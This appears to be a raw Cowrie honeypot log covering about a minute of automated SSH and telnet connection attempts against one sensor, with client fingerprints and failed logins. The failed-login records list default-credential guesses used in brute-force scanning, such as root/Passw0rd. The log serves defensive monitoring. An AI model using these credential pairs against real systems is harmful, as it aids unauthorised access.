{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:49.586801Z","src_ip":"45.153.34.114","session":"112b7fc7b6e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":57820,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bb9d88f50b6","protocol":"telnet","message":"New connection: 74.91.213.120:57820 (159.203.135.109:23) [session: 4bb9d88f50b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:53.506148Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37066,"dst_ip":"159.203.135.109","dst_port":22,"session":"2588286cf3fa","protocol":"ssh","message":"New connection: 45.153.34.114:37066 (159.203.135.109:22) [session: 2588286cf3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:56.460466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:56.465064Z","src_ip":"45.153.34.114","session":"2588286cf3fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:56.559483Z","src_ip":"45.153.34.114","session":"2588286cf3fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:56.816886Z","src_ip":"45.153.34.114","session":"2588286cf3fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:08:57.908052Z","src_ip":"45.153.34.114","session":"2588286cf3fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":57382,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b97fbcff29f","protocol":"telnet","message":"New connection: 74.91.213.120:57382 (159.203.135.109:23) [session: 3b97fbcff29f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:00.476316Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":56498,"dst_ip":"159.203.135.109","dst_port":22,"session":"306b221ad648","protocol":"ssh","message":"New connection: 45.153.34.114:56498 (159.203.135.109:22) [session: 306b221ad648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:04.761095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:04.767164Z","src_ip":"45.153.34.114","session":"306b221ad648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:04.856463Z","src_ip":"45.153.34.114","session":"306b221ad648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:05.198684Z","src_ip":"45.153.34.114","session":"306b221ad648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.601182460784912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:05.766461Z","src_ip":"74.91.213.120","session":"48c6794bc6f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:06.317227Z","src_ip":"45.153.34.114","session":"306b221ad648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":36602,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0ac7a3a6428","protocol":"telnet","message":"New connection: 74.91.213.120:36602 (159.203.135.109:23) [session: e0ac7a3a6428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:08.470030Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":36618,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f815e894e84","protocol":"telnet","message":"New connection: 74.91.213.120:36618 (159.203.135.109:23) [session: 0f815e894e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:12.254437Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54662,"dst_ip":"159.203.135.109","dst_port":22,"session":"83053084d292","protocol":"ssh","message":"New connection: 45.153.34.114:54662 (159.203.135.109:22) [session: 83053084d292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:12.715481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:12.720491Z","src_ip":"45.153.34.114","session":"83053084d292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:12.802815Z","src_ip":"45.153.34.114","session":"83053084d292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123","message":"login attempt [dmdba/dmdba@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:13.180352Z","src_ip":"45.153.34.114","session":"83053084d292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:14.272480Z","src_ip":"45.153.34.114","session":"83053084d292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51752,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8d4c89416e8","protocol":"ssh","message":"New connection: 45.153.34.114:51752 (159.203.135.109:22) [session: a8d4c89416e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:20.922109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:20.927084Z","src_ip":"45.153.34.114","session":"a8d4c89416e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:21.024309Z","src_ip":"45.153.34.114","session":"a8d4c89416e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:21.279094Z","src_ip":"45.153.34.114","session":"a8d4c89416e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:22.373892Z","src_ip":"45.153.34.114","session":"a8d4c89416e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.157362937927246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:24.663403Z","src_ip":"74.91.213.120","session":"4bb9d88f50b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":36464,"dst_ip":"159.203.135.109","dst_port":23,"session":"5aaf19145367","protocol":"telnet","message":"New connection: 74.91.213.120:36464 (159.203.135.109:23) [session: 5aaf19145367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:25.641613Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51766,"dst_ip":"159.203.135.109","dst_port":22,"session":"51aab1c136d6","protocol":"ssh","message":"New connection: 45.153.34.114:51766 (159.203.135.109:22) [session: 51aab1c136d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:29.372274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:29.378711Z","src_ip":"45.153.34.114","session":"51aab1c136d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:29.458814Z","src_ip":"45.153.34.114","session":"51aab1c136d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:29.805804Z","src_ip":"45.153.34.114","session":"51aab1c136d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:30.897168Z","src_ip":"45.153.34.114","session":"51aab1c136d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":37110,"dst_ip":"159.203.135.109","dst_port":23,"session":"972defa9c075","protocol":"telnet","message":"New connection: 74.91.213.120:37110 (159.203.135.109:23) [session: 972defa9c075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:31.058254Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":56396,"dst_ip":"159.203.135.109","dst_port":22,"session":"2efcd2bff5fa","protocol":"ssh","message":"New connection: 103.75.199.4:56396 (159.203.135.109:22) [session: 2efcd2bff5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:31.746239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:31.811553Z","src_ip":"103.75.199.4","session":"2efcd2bff5fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.373011827468872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:31.849168Z","src_ip":"74.91.213.120","session":"3b97fbcff29f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:31.903594Z","src_ip":"103.75.199.4","session":"2efcd2bff5fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:32.179725Z","src_ip":"103.75.199.4","session":"2efcd2bff5fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.21.242","src_port":53472,"dst_ip":"159.203.135.109","dst_port":22,"session":"b977b3eab505","protocol":"ssh","message":"New connection: 103.210.21.242:53472 (159.203.135.109:22) [session: b977b3eab505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:32.781356Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:32.786669Z","src_ip":"103.210.21.242","session":"b977b3eab505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:33.273346Z","src_ip":"103.75.199.4","session":"2efcd2bff5fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49086,"dst_ip":"159.203.135.109","dst_port":22,"session":"288085e09285","protocol":"ssh","message":"New connection: 45.153.34.114:49086 (159.203.135.109:22) [session: 288085e09285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:37.839616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:37.844336Z","src_ip":"45.153.34.114","session":"288085e09285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:37.928127Z","src_ip":"45.153.34.114","session":"288085e09285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:38.195030Z","src_ip":"45.153.34.114","session":"288085e09285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:39.289548Z","src_ip":"45.153.34.114","session":"288085e09285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.131956100463867,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:39.601817Z","src_ip":"74.91.213.120","session":"e0ac7a3a6428","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.142616271972656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:09:43.396927Z","src_ip":"74.91.213.120","session":"0f815e894e84","protocol":"telnet"}
